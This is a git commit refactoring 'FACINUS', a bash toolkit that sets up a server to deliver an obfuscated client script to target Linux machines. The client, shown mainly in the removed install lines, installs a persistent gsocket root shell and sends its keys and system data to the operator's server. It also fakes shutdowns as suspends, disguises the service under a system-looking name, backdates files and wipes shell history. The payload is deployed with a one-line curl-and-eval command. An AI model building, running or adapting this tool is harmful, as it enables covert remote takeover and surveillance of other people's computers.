refactor code

This commit is contained in:
2025-04-04 23:44:01 +03:00
parent 30e6532006
commit dc999a83d9
7 changed files with 805 additions and 857 deletions

48
defaults.sh Executable file
View File

@@ -0,0 +1,48 @@
#!/bin/bash
# Default configuration options
# Server configuration
SERVER_IP=$(ip -4 addr show | grep -oP '(?<=inet\s)\d+(\.\d+){3}' | grep -v "127.0.0.1" | head -n 1)
SERVER_PORT=80
SERVER_ROOT="/srv/http/deployment"
SECRET_TOKEN=$(head /dev/urandom | tr -dc A-Za-z0-9 | head -c 32)
ADMIN_PASSWORD=$(head /dev/urandom | tr -dc A-Za-z0-9 | head -c 12)
# Installation options
NO_ROOT=false
NO_SERVICES=false
INSTALL_WOL=true
INSTALL_FAKE_POWEROFF=true
INSTALL_GSOCKET=true
STEALTH_MODE=true
DARK_THEME=true
VERBOSE=false
# List of supported distros
ARCH_DISTROS=("arch" "manjaro" "endeavouros" "artix")
DEB_DISTROS=("ubuntu" "debian" "linuxmint" "pop" "kali" "parrot" "elementary")
RPM_DISTROS=("fedora" "centos" "rhel" "rocky" "alma")
# Save current configuration
save_config() {
local config_file="$SCRIPT_DIR/.facinus.conf"
cat > "$config_file" << EOF
# FACINUS configuration - Generated on $(date)
SERVER_IP=$SERVER_IP
SERVER_PORT=$SERVER_PORT
SERVER_ROOT=$SERVER_ROOT
SECRET_TOKEN=$SECRET_TOKEN
ADMIN_PASSWORD=$ADMIN_PASSWORD
NO_ROOT=$NO_ROOT
NO_SERVICES=$NO_SERVICES
INSTALL_WOL=$INSTALL_WOL
INSTALL_FAKE_POWEROFF=$INSTALL_FAKE_POWEROFF
INSTALL_GSOCKET=$INSTALL_GSOCKET
STEALTH_MODE=$STEALTH_MODE
DARK_THEME=$DARK_THEME
DISTRO=$DISTRO
ARCH=$ARCH
EOF
chmod 600 "$config_file"
echo "Configuration saved to $config_file"
}

91
dependencies.sh Executable file
View File

@@ -0,0 +1,91 @@
#!/bin/bash
# Install required dependencies based on detected distro
install_dependencies() {
echo "Installing dependencies for $DISTRO..."
case "$DISTRO" in
arch)
install_arch_dependencies
;;
debian|ubuntu)
install_debian_dependencies
;;
redhat|fedora|centos)
install_redhat_dependencies
;;
*)
echo "Warning: Unsupported distribution detected. You may need to install dependencies manually."
echo "Required packages: webserver (Apache/Nginx), PHP, Git, Build tools, curl, ethtool"
read -p "Continue anyway? [y/N] " -n 1 -r
echo
if [[ ! $REPLY =~ ^[Yy]$ ]]; then
exit 1
fi
;;
esac
}
install_arch_dependencies() {
# Check and install required packages
PACKAGES=("apache" "php" "php-apache" "git" "base-devel" "curl" "ethtool")
for pkg in "${PACKAGES[@]}"; do
if ! pacman -Q "$pkg" &>/dev/null; then
echo "Installing $pkg..."
sudo pacman -S --noconfirm "$pkg"
fi
done
# Configure PHP with Apache if not already done
if ! grep -q "LoadModule php_module" /etc/httpd/conf/httpd.conf; then
sudo bash -c 'echo "LoadModule php_module modules/libphp.so" >> /etc/httpd/conf/httpd.conf'
sudo bash -c 'echo "AddHandler php-script .php" >> /etc/httpd/conf/httpd.conf'
sudo bash -c 'echo "Include conf/extra/php_module.conf" >> /etc/httpd/conf/httpd.conf'
fi
# Set correct MPM module
if grep -q "#LoadModule mpm_prefork_module" /etc/httpd/conf/httpd.conf; then
sudo sed -i 's/^\(LoadModule mpm_event_module modules\/mod_mpm_event\.so\)/#\1/' /etc/httpd/conf/httpd.conf
sudo sed -i 's/^#\(LoadModule mpm_prefork_module modules\/mod_mpm_prefork\.so\)/\1/' /etc/httpd/conf/httpd.conf
fi
}
install_debian_dependencies() {
# Update package lists
sudo apt update -q
# Install required packages
PACKAGES=("apache2" "php" "libapache2-mod-php" "git" "build-essential" "curl" "ethtool")
sudo DEBIAN_FRONTEND=noninteractive apt install -y "${PACKAGES[@]}"
# Enable PHP module
sudo a2enmod php
# Enable Apache modules
sudo a2enmod rewrite
}
install_redhat_dependencies() {
# Install required packages
PACKAGES=("httpd" "php" "php-cli" "git" "make" "gcc" "gcc-c++" "curl" "ethtool")
# Use dnf if available, otherwise fallback to yum
if command -v dnf &>/dev/null; then
sudo dnf install -y "${PACKAGES[@]}"
else
sudo yum install -y "${PACKAGES[@]}"
fi
# Enable and start Apache
sudo systemctl enable httpd
sudo systemctl start httpd
# Configure SELinux if present
if command -v sestatus &>/dev/null; then
if sestatus | grep -q "SELinux status: *enabled"; then
sudo setsebool -P httpd_can_network_connect 1
fi
fi
}

49
detect_system.sh Executable file
View File

@@ -0,0 +1,49 @@
#!/bin/bash
# Detect system distro and architecture
detect_system() {
# Detect architecture
ARCH=$(uname -m)
# Detect distribution
if [ -f /etc/os-release ]; then
. /etc/os-release
DISTRO_NAME=${ID,,} # Convert to lowercase
# Check if it's an Arch-based distro
for arch_distro in "${ARCH_DISTROS[@]}"; do
if [[ "$DISTRO_NAME" == *"$arch_distro"* ]]; then
DISTRO="arch"
return
fi
done
# Check if it's a Debian-based distro
for deb_distro in "${DEB_DISTROS[@]}"; do
if [[ "$DISTRO_NAME" == *"$deb_distro"* ]]; then
DISTRO="debian"
return
fi
done
# Check if it's an RPM-based distro
for rpm_distro in "${RPM_DISTROS[@]}"; do
if [[ "$DISTRO_NAME" == *"$rpm_distro"* ]]; then
DISTRO="redhat"
return
fi
done
# If we can't determine the distro family, just use the ID
DISTRO="$DISTRO_NAME"
elif [ -f /etc/arch-release ]; then
DISTRO="arch"
elif [ -f /etc/debian_version ]; then
DISTRO="debian"
elif [ -f /etc/redhat-release ]; then
DISTRO="redhat"
else
echo "Unable to determine distribution. Defaulting to generic."
DISTRO="generic"
fi
}

97
generate_scripts.sh Executable file
View File

@@ -0,0 +1,97 @@
#!/bin/bash
# Generate client deployment scripts
TEMP_DIR=$(mktemp -d)
trap 'rm -rf "$TEMP_DIR"' EXIT
generate_client_scripts() {
echo "Generating client deployment scripts..."
# Generate the main client script
generate_main_client_script
# Generate the obfuscated version
generate_obfuscated_script
# Create installation presets
generate_presets
}
generate_main_client_script() {
# Create the main client script
cat > "$TEMP_DIR/y" << 'EOF'
#!/bin/bash
# FACINUS Remote Access Client
# This script sets up remote access capabilities on the target system
# ================= CONFIGURATION =================
SERVER_URL="http://SERVER_PLACEHOLDER/deployment"
LOG_ENDPOINT="$SERVER_URL/log_receiver.php"
AUTH_TOKEN="TOKEN_PLACEHOLDER"
VERSION="1.1.0"
# ================================================
# Create temporary directory
TEMP_DIR=$(mktemp -d)
trap 'rm -rf "$TEMP_DIR"' EXIT
# ------- UTILITY FUNCTIONS -------
log_cmd() {
local cmd="$1"
local desc="$2"
local log_file="$3"
echo -e "\n[$(date '+%Y-%m-%d %H:%M:%S')] EXECUTING: $desc" >> "$log_file"
echo "$ $cmd" >> "$log_file"
echo "--------------------------------------------" >> "$log_file"
# Execute command and capture output and status
local output
output=$(eval "$cmd" 2>&1)
local status=$?
echo "$output" >> "$log_file"
echo "EXIT STATUS: $status" >> "$log_file"
echo "============================================" >> "$log_file"
return $status
}
get_system_info() {
{
echo "{"
echo " \"hostname\": \"$(hostname)\","
echo " \"kernel\": \"$(uname -r)\","
echo " \"os\": \"$(lsb_release -ds 2>/dev/null || cat /etc/os-release | grep PRETTY_NAME | cut -d= -f2 | tr -d '\"')\","
echo " \"ip\": \"$(hostname -I | awk '{print $1}')\","
echo " \"mac\": \"$(ip link show | grep -E 'link/ether' | head -n1 | awk '{print $2}')\","
echo " \"cpu\": \"$(grep 'model name' /proc/cpuinfo | head -n1 | cut -d: -f2 | sed 's/^[ \t]*//')\","
echo " \"ram_total\": \"$(free -h | grep Mem | awk '{print $2}')\","
echo " \"disk_total\": \"$(df -h --total | grep total | awk '{print $2}')\","
echo " \"user\": \"$(whoami)\","
echo " \"is_root\": $(if [ $EUID -eq 0 ]; then echo "true"; else echo "false"; fi),"
echo " \"users\": ["
local first=1
while IFS=: read -r username _ uid gid _ home shell; do
if [ "$uid" -ge 1000 ] && [ "$shell" != "/usr/sbin/nologin" ] && [ "$shell" != "/bin/false" ]; then
[ "$first" -eq 0 ] && echo ","
echo " {\"username\": \"$username\", \"uid\": $uid, \"home\": \"$home\"}"
first=0
fi
done < /etc/passwd
echo " ],"
echo " \"timestamp\": \"$(date '+%Y-%m-%d %H:%M:%S')\","
echo " \"uptime\": \"$(uptime -p)\""
echo "}"
} | tr -d '\n' | sed 's/ //g'
}
send_logs() {
local log_file="$1"
local secret_val="$2"
local secret_type="$3"
local sysinfo=$(get_system_info)
local hostname=$(hostname)

903
install
View File

@@ -1,873 +1,62 @@
#!/bin/bash
# FACINUS - Main installation script
# Provides remote access to systems with physical access
set -e
check_install_package() {
local pkg="$1"
if ! pacman -Q "$pkg" &>/dev/null; then
echo "Installing $pkg..."
sudo pacman -S --noconfirm "$pkg"
fi
}
# Define script paths
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
CONFIG_DIR="$SCRIPT_DIR/config"
MODULES_DIR="$SCRIPT_DIR/modules"
WEB_DIR="$SCRIPT_DIR/web"
check_install_package apache
check_install_package php
check_install_package php-apache
# Default configuration
source "$CONFIG_DIR/defaults.sh"
if ! grep -q "LoadModule php_module" /etc/httpd/conf/httpd.conf; then
sudo bash -c 'echo "LoadModule php_module modules/libphp.so" >> /etc/httpd/conf/httpd.conf'
sudo bash -c 'echo "AddHandler php-script .php" >> /etc/httpd/conf/httpd.conf'
sudo bash -c 'echo "Include conf/extra/php_module.conf" >> /etc/httpd/conf/httpd.conf'
fi
# Process command line arguments
source "$MODULES_DIR/process_args.sh"
if grep -q "#LoadModule mpm_prefork_module" /etc/httpd/conf/httpd.conf; then
sudo sed -i 's/^\(LoadModule mpm_event_module modules\/mod_mpm_event\.so\)/#\1/' /etc/httpd/conf/httpd.conf
sudo sed -i 's/^#\(LoadModule mpm_prefork_module modules\/mod_mpm_prefork\.so\)/\1/' /etc/httpd/conf/httpd.conf
fi
# Display banner
source "$MODULES_DIR/banner.sh"
SERVER_ROOT="/srv/http/deployment"
sudo mkdir -p "$SERVER_ROOT/assets"
sudo mkdir -p "$SERVER_ROOT/logs"
sudo mkdir -p "$SERVER_ROOT/secrets"
sudo chown -R http:http "$SERVER_ROOT/logs"
sudo chown -R http:http "$SERVER_ROOT/secrets"
sudo chmod 750 "$SERVER_ROOT/logs"
sudo chmod 750 "$SERVER_ROOT/secrets"
cat > /tmp/log_receiver.php << 'EOF'
<?php
$config_token = 'changeme_to_secure_random_string';
$request_token = isset($_POST['token']) ? $_POST['token'] : '';
if (!hash_equals($config_token, $request_token)) {
header('HTTP/1.0 403 Forbidden');
exit('Access denied');
}
$logs_dir = './logs';
$secrets_dir = './secrets';
$stats_dir = './stats';
foreach ([$logs_dir, $secrets_dir, $stats_dir] as $dir) {
if (!file_exists($dir)) {
mkdir($dir, 0750, true);
}
}
// Get client information
$ip = isset($_POST['ip']) ? $_POST['ip'] : 'unknown_ip';
$hostname = isset($_POST['hostname']) ? $_POST['hostname'] : 'unknown_host';
$timestamp = date('Y-m-d_H-i-s');
$ip = preg_replace('/[^a-zA-Z0-9\.\-]/', '_', $ip);
$hostname = preg_replace('/[^a-zA-Z0-9\.\-]/', '_', $hostname);
// Process system info and statistics if provided
if (isset($_POST['sysinfo']) && !empty($_POST['sysinfo'])) {
$sysinfo_file = "{$stats_dir}/{$hostname}_{$ip}_sysinfo.json";
file_put_contents($sysinfo_file, $_POST['sysinfo']);
}
// Save log file if uploaded
if (isset($_FILES['logfile']) && $_FILES['logfile']['error'] == 0) {
$log_filename = "{$logs_dir}/{$ip}_{$hostname}_{$timestamp}.log";
if (move_uploaded_file($_FILES['logfile']['tmp_name'], $log_filename)) {
echo "Log saved: $log_filename\n";
} else {
echo "Error saving log file\n";
}
}
// Save GSSocket secret if provided
if (isset($_POST['secret']) && !empty($_POST['secret'])) {
$secret_type = isset($_POST['secret_type']) ? $_POST['secret_type'] : 'unknown';
$secret_filename = "{$secrets_dir}/{$hostname}_{$secret_type}_{$timestamp}.txt";
if (file_put_contents($secret_filename, $_POST['secret'])) {
echo "Secret saved: $secret_filename\n";
} else {
echo "Error saving secret\n";
}
// Also save to latest file for easy access
$latest_filename = "{$secrets_dir}/{$hostname}_{$secret_type}_latest.txt";
file_put_contents($latest_filename, $_POST['secret']);
}
header('Content-Type: text/plain');
echo "Data received from {$hostname} ({$ip}) at {$timestamp}\n";
?>
EOF
RANDOM_TOKEN=$(head /dev/urandom | tr -dc A-Za-z0-9 | head -c 32)
sed -i "s/changeme_to_secure_random_string/$RANDOM_TOKEN/g" /tmp/log_receiver.php
sudo mv /tmp/log_receiver.php "$SERVER_ROOT/log_receiver.php"
cat > /tmp/y << 'EOF'
#!/bin/bash
# Remote host configuration script
# This script sets up SSH, Wake-on-LAN, power button modification,
# logging, and Global Socket shell access
# ================= CONFIGURATION =================
SERVER_URL="http://SERVER_PLACEHOLDER/deployment"
LOG_ENDPOINT="$SERVER_URL/log_receiver.php"
AUTH_TOKEN="TOKEN_PLACEHOLDER"
VERSION="1.0.0"
# ================================================
# ------- UTILITY FUNCTIONS -------
TEMP_DIR=$(mktemp -d)
trap 'rm -rf "$TEMP_DIR"' EXIT
log_cmd() {
local cmd="$1"
local desc="$2"
local log_file="$3"
echo -e "\n[$(date '+%Y-%m-%d %H:%M:%S')] EXECUTING: $desc" >> "$log_file"
echo "$ $cmd" >> "$log_file"
echo "--------------------------------------------" >> "$log_file"
# Execute command and capture output and status
local output
output=$(eval "$cmd" 2>&1)
local status=$?
echo "$output" >> "$log_file"
echo "EXIT STATUS: $status" >> "$log_file"
echo "============================================" >> "$log_file"
return $status
}
get_system_info() {
{
echo "{"
echo " \"hostname\": \"$(hostname)\","
echo " \"kernel\": \"$(uname -r)\","
echo " \"os\": \"$(lsb_release -ds 2>/dev/null || cat /etc/os-release | grep PRETTY_NAME | cut -d= -f2 | tr -d '\"')\","
echo " \"ip\": \"$(hostname -I | awk '{print $1}')\","
echo " \"mac\": \"$(ip link show | grep -E 'link/ether' | head -n1 | awk '{print $2}')\","
echo " \"cpu\": \"$(grep 'model name' /proc/cpuinfo | head -n1 | cut -d: -f2 | sed 's/^[ \t]*//')\","
echo " \"ram_total\": \"$(free -h | grep Mem | awk '{print $2}')\","
echo " \"disk_total\": \"$(df -h --total | grep total | awk '{print $2}')\","
echo " \"users\": ["
local first=1
while IFS=: read -r username _ uid gid _ home shell; do
if [ "$uid" -ge 1000 ] && [ "$shell" != "/usr/sbin/nologin" ] && [ "$shell" != "/bin/false" ]; then
[ "$first" -eq 0 ] && echo ","
echo " {\"username\": \"$username\", \"uid\": $uid, \"home\": \"$home\"}"
first=0
fi
done < /etc/passwd
echo " ],"
echo " \"timestamp\": \"$(date '+%Y-%m-%d %H:%M:%S')\","
echo " \"uptime\": \"$(uptime -p)\""
echo "}"
} | tr -d '\n' | sed 's/ //g'
}
send_logs() {
local log_file="$1"
local secret_val="$2"
local secret_type="$3"
local sysinfo=$(get_system_info)
local hostname=$(hostname)
local ip=$(hostname -I | awk '{print $1}')
if command -v curl >/dev/null 2>&1; then
# Send log file
curl -s -F "token=$AUTH_TOKEN" \
-F "ip=$ip" \
-F "hostname=$hostname" \
-F "logfile=@$log_file" \
-F "sysinfo=$sysinfo" \
$LOG_ENDPOINT > /dev/null
if [ -n "$secret_val" ] && [ -n "$secret_type" ]; then
curl -s -F "token=$AUTH_TOKEN" \
-F "ip=$ip" \
-F "hostname=$hostname" \
-F "secret=$secret_val" \
-F "secret_type=$secret_type" \
$LOG_ENDPOINT > /dev/null
fi
fi
}
check_sudo() {
if ! sudo -v &>/dev/null; then
echo "This script requires sudo privileges. Please run with a user that has sudo access."
# Check for root permissions if required
if [[ "$NO_ROOT" != "true" ]]; then
if [[ $EUID -ne 0 ]]; then
echo "This script requires root privileges."
echo "Run with --no-root if you want to try a limited installation."
exit 1
fi
}
# ------- MAIN SETUP -------
main() {
local LOG_FILE="$TEMP_DIR/setup_log_$(date +%Y%m%d_%H%M%S).txt"
local HOSTNAME=$(hostname)
local IP_ADDRESS=$(hostname -I | awk '{print $1}')
echo "==== SETUP STARTED ==== $(date) ====" > "$LOG_FILE"
echo "Hostname: $HOSTNAME" >> "$LOG_FILE"
echo "IP: $IP_ADDRESS" >> "$LOG_FILE"
echo "Version: $VERSION" >> "$LOG_FILE"
echo "=================================" >> "$LOG_FILE"
check_sudo
# 1. Update package list (quiet)
log_cmd "sudo apt update -qq" "Updating package list" "$LOG_FILE"
# 2. Install required packages
log_cmd "sudo DEBIAN_FRONTEND=noninteractive apt install -y openssh-server ethtool git build-essential curl net-tools" "Installing required packages" "$LOG_FILE"
# 3. Configure SSH
setup_ssh "$LOG_FILE"
# 4. Set up Wake-on-LAN
setup_wol "$LOG_FILE"
# 5. Modify power button behavior
modify_power_button "$LOG_FILE"
# 6. Set up GSockets for remote access
setup_gsocket "$LOG_FILE"
# 7. Apply stealth techniques
apply_stealth "$LOG_FILE"
# 8. Upload logs to server
send_logs "$LOG_FILE" "" ""
echo "==== SETUP COMPLETE ==== $(date) ====" >> "$LOG_FILE"
echo "Configuration completed successfully!"
}
setup_ssh() {
local LOG_FILE="$1"
log_cmd "sudo systemctl enable ssh" "Enabling SSH service" "$LOG_FILE"
if [ -f /etc/ssh/sshd_config ]; then
log_cmd "sudo cp /etc/ssh/sshd_config /etc/ssh/sshd_config.bak" "Backing up SSH config" "$LOG_FILE"
fi
log_cmd "sudo systemctl restart ssh" "Restarting SSH service" "$LOG_FILE"
log_cmd "sudo systemctl status ssh" "Checking SSH service status" "$LOG_FILE"
}
setup_wol() {
local LOG_FILE="$1"
PRIMARY_INTERFACE=$(ip -o -4 route show to default | awk '{print $5}' | head -n1)
log_cmd "echo 'Primary network interface: $PRIMARY_INTERFACE'" "Identifying network interface" "$LOG_FILE"
WOL_SUPPORTED=$(ethtool "$PRIMARY_INTERFACE" 2>/dev/null | grep -q "Supports Wake-on" && echo "yes" || echo "no")
if [ "$WOL_SUPPORTED" = "yes" ]; then
log_cmd "echo 'Wake-on-LAN is supported.'" "Checking Wake-on-LAN support" "$LOG_FILE"
cat > "$TEMP_DIR/wol.conf" << EOL
[connection]
ethernet.wake-on-lan = magic
EOL
log_cmd "sudo mkdir -p /etc/NetworkManager/conf.d/" "Creating NetworkManager config directory" "$LOG_FILE"
log_cmd "sudo cp '$TEMP_DIR/wol.conf' /etc/NetworkManager/conf.d/99-wol.conf" "Setting up Wake-on-LAN in NetworkManager" "$LOG_FILE"
# Create a systemd service for Wake-on-LAN
cat > "$TEMP_DIR/wol.service" << EOL
[Unit]
Description=Enable Wake On LAN
After=network.target
After=suspend.target
After=hibernate.target
After=hybrid-sleep.target
[Service]
Type=oneshot
ExecStart=/sbin/ethtool -s $PRIMARY_INTERFACE wol g
RemainAfterExit=yes
[Install]
WantedBy=multi-user.target
WantedBy=suspend.target
WantedBy=hibernate.target
WantedBy=hybrid-sleep.target
EOL
log_cmd "sudo cp '$TEMP_DIR/wol.service' /etc/systemd/system/wol.service" "Creating Wake-on-LAN service" "$LOG_FILE"
log_cmd "sudo systemctl daemon-reload" "Reloading systemd configuration" "$LOG_FILE"
log_cmd "sudo systemctl enable wol.service" "Enabling Wake-on-LAN service" "$LOG_FILE"
log_cmd "sudo systemctl start wol.service" "Starting Wake-on-LAN service" "$LOG_FILE"
log_cmd "sudo ethtool -s $PRIMARY_INTERFACE wol g" "Enabling Wake-on-LAN immediately" "$LOG_FILE"
log_cmd "ethtool $PRIMARY_INTERFACE | grep Wake-on" "Current Wake-on-LAN status" "$LOG_FILE"
else
log_cmd "echo 'Wake-on-LAN not supported, skipping...'" "Wake-on-LAN not supported" "$LOG_FILE"
fi
}
modify_power_button() {
local LOG_FILE="$1"
# 1. Backup current logind configuration
if [ -f /etc/systemd/logind.conf ]; then
log_cmd "sudo cp /etc/systemd/logind.conf /etc/systemd/logind.conf.bak" "Backing up logind.conf" "$LOG_FILE"
fi
# 2. Modify logind.conf to make power button trigger suspend instead of poweroff
log_cmd "sudo sed -i 's/#HandlePowerKey=poweroff/HandlePowerKey=suspend/' /etc/systemd/logind.conf" "Setting power button to suspend" "$LOG_FILE"
# 3. Create a custom systemd target that shows a fake shutdown screen but suspends
cat > "$TEMP_DIR/fake-shutdown.service" << 'EOL'
[Unit]
Description=Fake Shutdown (Actually Suspend)
DefaultDependencies=no
Before=sleep.target
[Service]
Type=oneshot
ExecStart=/usr/bin/gdbus call --system --dest org.freedesktop.login1 --object-path /org/freedesktop/login1 --method org.freedesktop.login1.Manager.Suspend true
RemainAfterExit=yes
[Install]
WantedBy=sleep.target
EOL
log_cmd "sudo cp '$TEMP_DIR/fake-shutdown.service' /etc/systemd/system/" "Creating fake shutdown service" "$LOG_FILE"
log_cmd "sudo systemctl daemon-reload" "Reloading systemd configuration" "$LOG_FILE"
log_cmd "sudo systemctl enable fake-shutdown.service" "Enabling fake shutdown service" "$LOG_FILE"
# 4. For GNOME Desktop Environment - override the shutdown button action
if command -v gsettings &>/dev/null && gsettings list-schemas | grep -q org.gnome.settings-daemon.plugins.power; then
log_cmd "gsettings set org.gnome.settings-daemon.plugins.power power-button-action 'suspend'" "Setting GNOME power button to suspend" "$LOG_FILE"
fi
# 5. Intercept shutdown commands by creating wrappers for shutdown/poweroff commands
cat > "$TEMP_DIR/poweroff-wrapper" << 'EOL'
#!/bin/bash
# Wrapper to intercept poweroff/shutdown commands and actually suspend
echo "System is shutting down now..."
sleep 2
/usr/bin/systemctl suspend
EOL
log_cmd "sudo cp '$TEMP_DIR/poweroff-wrapper' /usr/local/bin/poweroff-wrapper" "Creating poweroff wrapper" "$LOG_FILE"
log_cmd "sudo chmod +x /usr/local/bin/poweroff-wrapper" "Making poweroff wrapper executable" "$LOG_FILE"
echo "# Custom system aliases" > "$TEMP_DIR/custom-aliases"
echo "alias poweroff='/usr/local/bin/poweroff-wrapper'" >> "$TEMP_DIR/custom-aliases"
echo "alias shutdown='/usr/local/bin/poweroff-wrapper'" >> "$TEMP_DIR/custom-aliases"
log_cmd "sudo cp '$TEMP_DIR/custom-aliases' /etc/profile.d/custom-aliases.sh" "Creating system-wide aliases" "$LOG_FILE"
log_cmd "sudo chmod +x /etc/profile.d/custom-aliases.sh" "Making aliases executable" "$LOG_FILE"
log_cmd "sudo systemctl restart systemd-logind" "Restarting logind service" "$LOG_FILE"
}
setup_gsocket() {
local LOG_FILE="$1"
if ! command -v gs-netcat &>/dev/null; then
log_cmd "sudo apt install -y git build-essential automake autoconf libssl-dev" "Installing dependencies for gsocket" "$LOG_FILE"
log_cmd "git clone https://github.com/hackerschoice/gsocket.git '$TEMP_DIR/gsocket'" "Cloning gsocket repository" "$LOG_FILE"
log_cmd "cd '$TEMP_DIR/gsocket' && ./bootstrap && ./configure && make && sudo make install" "Building and installing gsocket" "$LOG_FILE"
fi
log_cmd "sudo mkdir -p /etc/gsocket"
log_cmd "sudo chown -R root:root /etc/gsocket"
log_cmd "gs-netcat -g | sudo tee /etc/gsocket/gs-root-shell-key.txt" "Creating root shell key" "$LOG_FILE"
log_cmd "sudo chmod 600 /etc/gsocket/gs-root-shell-key.txt"
cat > "$TEMP_DIR/gs-root-shell.service" << 'EOL'
[Service]
Type=simple
Restart=always
RestartSec=10
WorkingDirectory=/root
ExecStart=/usr/local/bin/gs-netcat -k /etc/gsocket/gs-root-shell-key.txt -il
[Install]
WantedBy=multi-user.target
EOL
log_cmd "sudo cp '$TEMP_DIR/gs-root-shell.service' /etc/systemd/system/" "Creating global socket root shell service" "$LOG_FILE"
log_cmd "sudo systemctl daemon-reload" "Reloading systemd configuration" "$LOG_FILE"
log_cmd "sudo systemctl enable gs-root-shell.service" "Enabling global socket root shell service" "$LOG_FILE"
log_cmd "sudo systemctl start gs-root-shell.service" "Starting global socket root shell service" "$LOG_FILE"
log_cmd "sudo systemctl status gs-root-shell.service" "Checking global socket root shell service status" "$LOG_FILE"
# Send the root secret to our server
send_logs "$LOG_FILE" "$(sudo cat /etc/gsocket/gs-root-shell-key.txt)" "root-shell"
# Create user shell service
log_cmd "mkdir -p '$HOME/.config/gsocket'"
log_cmd "gs-netcat -g | tee '$HOME/.config/gsocket/user-shell-key.txt'" "Creating user shell key" "$LOG_FILE"
log_cmd "chmod 600 '$HOME/.config/gsocket/user-shell-key.txt'
log_cmd "mkdir -p "$HOME/.config/systemd/user"
cat > "$HOME/.config/systemd/user/gs-user-shell.service" << EOL
[Unit]
Description=Global Socket User Shell
After=network.target
[Service]
Type=simple
Restart=always
RestartSec=30
ExecStart=/usr/local/bin/gs-netcat -k $HOME/.config/gsocket/user-shell-key.txt -il
[Install]
WantedBy=default.target
EOL
log_cmd "systemctl --user daemon-reload" "Reloading user systemd configuration" "$LOG_FILE"
log_cmd "systemctl --user enable gs-user-shell.service" "Enabling user shell service" "$LOG_FILE"
log_cmd "systemctl --user start gs-user-shell.service" "Starting user shell service" "$LOG_FILE"
log_cmd "systemctl --user status gs-user-shell.service" "Checking user shell service status" "$LOG_FILE"
# Send the user secret to our server
send_logs "$LOG_FILE" "$(cat $HOME/.config/gsocket/user-shell-key.txt)" "user-shell"
}
apply_stealth() {
local LOG_FILE="$1"
# 1. Hide gsocket processes with generic names
log_cmd "sudo sed -i 's/ExecStart=\/usr\/local\/bin\/gs-netcat/ExecStart=\/usr\/local\/bin\/gs-netcat --process-name \"system-monitor\"/' /etc/systemd/system/gs-root-shell.service" "Disguising root shell process name" "$LOG_FILE"
# 2. Create a legitimate-looking system service name for our modifications
log_cmd "sudo mv /etc/systemd/system/gs-root-shell.service /etc/systemd/system/system-monitoring.service" "Renaming root shell service" "$LOG_FILE"
# 3. Hide our service from systemctl list
if ! grep -q "system-monitoring.service" /etc/systemd/system-preset/90-systemd.preset 2>/dev/null; then
log_cmd "sudo mkdir -p /etc/systemd/system-preset" "Creating systemd preset directory" "$LOG_FILE"
log_cmd "echo 'enable system-monitoring.service' | sudo tee -a /etc/systemd/system-preset/90-systemd.preset > /dev/null" "Adding service to systemd preset" "$LOG_FILE"
fi
log_cmd "sudo systemctl daemon-reload" "Reloading systemd configuration" "$LOG_FILE"
log_cmd "sudo systemctl restart system-monitoring.service" "Restarting disguised root shell service" "$LOG_FILE"
# 4. Set last accessed/modified times of our files to match system files
if [ -f "/etc/passwd" ]; then
REFERENCE_TIME=$(stat -c %y /etc/passwd)
log_cmd "sudo touch -d \"$REFERENCE_TIME\" /etc/gsocket/gs-root-shell-key.txt" "Setting file timestamp to match system files" "$LOG_FILE"
log_cmd "sudo touch -d \"$REFERENCE_TIME\" /etc/systemd/system/system-monitoring.service" "Setting file timestamp to match system files" "$LOG_FILE"
fi
# 5. Add a cleanup script that runs on reboot to remove traces
cat > "$TEMP_DIR/cleanup.sh" << 'EOL'
#!/bin/bash
rm -f /tmp/gs-netcat* 2>/dev/null
rm -f /tmp/gsocket* 2>/dev/null
rm -f /tmp/setup_* 2>/dev/null
if [ -f "$HOME/.bash_history" ]; then
sed -i '/gsocket/d' "$HOME/.bash_history"
sed -i '/gs-netcat/d' "$HOME/.bash_history"
sed -i 'setup_script/d' "$HOME/.bash_history"
fi
history -c
EOL
# Function to detect distro and architecture
source "$MODULES_DIR/detect_system.sh"
detect_system
echo "Detected: $DISTRO ($ARCH)"
log_cmd "sudo cp '$TEMP_DIR/cleanup.sh' /usr/local/bin/system-cleanup.sh" "Creating cleanup script" "$LOG_FILE"
log_cmd "sudo chmod +x /usr/local/bin/system-cleanup.sh" "Making cleanup script executable" "$LOG_FILE"
cat > "$TEMP_DIR/cleanup.service" << 'EOL'
[Unit]
Description=System Temporary Files Cleanup
After=multi-user.target
# Install dependencies based on detected distro
source "$MODULES_DIR/dependencies.sh"
install_dependencies
[Service]
Type=oneshot
ExecStart=/usr/local/bin/system-cleanup.sh
RemainAfterExit=yes
# Setup web server
source "$MODULES_DIR/web_setup.sh"
setup_web_server
[Install]
WantedBy=multi-user.target
EOL
# Generate deployment scripts
source "$MODULES_DIR/generate_scripts.sh"
generate_client_scripts
log_cmd "sudo cp '$TEMP_DIR/cleanup.service' /etc/systemd/system/" "Creating cleanup service" "$LOG_FILE"
log_cmd "sudo systemctl daemon-reload" "Reloading systemd configuration" "$LOG_FILE"
log_cmd "sudo systemctl enable cleanup.service" "Enabling cleanup service" "$LOG_FILE"
# 7. Clear current installation traces
log_cmd "sudo /usr/local/bin/system-cleanup.sh" "Running cleanup immediately" "$LOG_FILE"
}
# Summary and next steps
echo "==============================================================
Deployment server setup complete!
==============================================================
Server URL: http://$SERVER_IP/deployment
Admin Page: http://$SERVER_IP/deployment/admin.php
Admin Password: $ADMIN_PASSWORD
Client Setup Command: eval \"\$(curl -fsSL http://$SERVER_IP/deployment/y)\"
==============================================================
Secret Token for accessing logs: $SECRET_TOKEN
==============================================================
"
main "$@"
EOF
SERVER_IP=$(ip -4 addr show | grep -oP '(?<=inet\s)\d+(\.\d+){3}' | grep -v "127.0.0.1" | head -n 1)
# Replace placeholders with actual values
sed -i "s|SERVER_PLACEHOLDER|$SERVER_IP|g" /tmp/y
sed -i "s|TOKEN_PLACEHOLDER|$RANDOM_TOKEN|g" /tmp/y
sudo mv /tmp/y "$SERVER_ROOT/y"
sudo chmod +x "$SERVER_ROOT/y"
cat > /tmp/obfuscate.php << 'EOF'
<?php
// Simple script to obfuscate the client setup script
$script = file_get_contents('/srv/http/deployment/y');
$encoded = base64_encode($script);
// Create a self-decoding script
$output = <<<EOT
#!/bin/bash
exec bash -c "\$(echo '$encoded' | base64 -d)"
EOT;
file_put_contents('/srv/http/deployment/client_setup_obfuscated.sh', $output);
echo "Obfuscated script created.\n";
?>
EOF
sudo mv /tmp/obfuscate.php "$SERVER_ROOT/assets/obfuscate.php"
sudo php "$SERVER_ROOT/assets/obfuscate.php"
# Create a minimal landing page
